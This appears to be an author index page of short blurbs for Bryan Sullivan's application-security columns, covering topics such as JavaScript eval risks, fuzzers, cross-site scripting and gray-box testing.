Bryan Sullivan

If you're a developer who uses JavaScript, or if you know one who does, Bryan Sullivan has some advice for you: take a few moments to acquaint yourself with the dangers of eval and its related functions, then learn to better secure your applications from attackers. In this article, he compares the command to other major security issues like buffer overflows, SQL injection, and cross-site scripting.

We are a gadget-loving society and we love our gadgets to do fun things that keep us entertained or go above and beyond basic functionality. When it comes to our technological wonders, we are attracted by the "cool factor." As Bryan Sullivan notes in this article, unfortuntately those bells and whistles come with a price that must be paid for the sake of security.

Times are tough, but people who want to break your software aren't relaxing and neither should you. In this column, Bryan Sullivan takes a look at some free security tools that can help you to protect your software without breaking the bank.

We may be in the midst of an economic downfall, but that hasn't slowed the efforts of cyber criminals. In this week's column, Bryan Sullivan reviews the importance of making sure that your software and organization remains secure. He also offers advice on how to keep security in the forefront of your development process without straining your project's budget.

It's a battle between human and machine-a theme that could be ripped straight from a science-fiction story, but it is not. This is a reality many testers face when trying to determine if human expertise and intuition can detect more security flaws than automated tests. In this week's column, security expert Bryan Sullivan weighs both sides and offers his verdict.

Automated tools are essential to software development. Tools can take the drudgery out of the more tedious development and testing tasks and let us get back to what we love: writing code (or in the tester's case, breaking code). This is especially true for security testing where the goal is not to prove that the software does what it is supposed to do, but rather that it doesn't do what it's not supposed to do. This is a much more difficult, if not actually an impossible, but, thankfully, we have some great tools to help us out. In this week's column, Bryan Sullivan covers one of the most valuable of these tools: the fuzzer.

James Bond, Mr. Creosote, and Don Corleone are just some of the personas Bryan Sullivan uses for security vulnerabilities. In this week's column, Bryan pays homage to the one vulnerability that gets the least respect, cross-site scripting (XSS), and calls it the Rodney Dangerfield of vulnerabilities. The problem is that XSS vulnerabilities are nothing to laugh at, and, as Bryan explains, you should start showing this vulnerability some respect before you get slapped by an XSS threat.

Although white box and black box testing both produce good results, they are more reliable when done together. Bryan Sullivan lists the strengths and weaknesses of each testing approach and how gray box" testing should be in your testing strategy.

Today's Rich Internet Applications (RIAs) bear about as much resemblance to the early Web sites of the 1990s as today's cars bear to a Model T. While the principle may be the same, the underlying technology is radically different. While safety testing for automobiles has improved significantly in the past hundred years, though, Web-application testing remains stuck in a 1990s mindset. In this week's column, Bryan Sullivan explains that QA must change its testing approach in order to maintain the security of the code.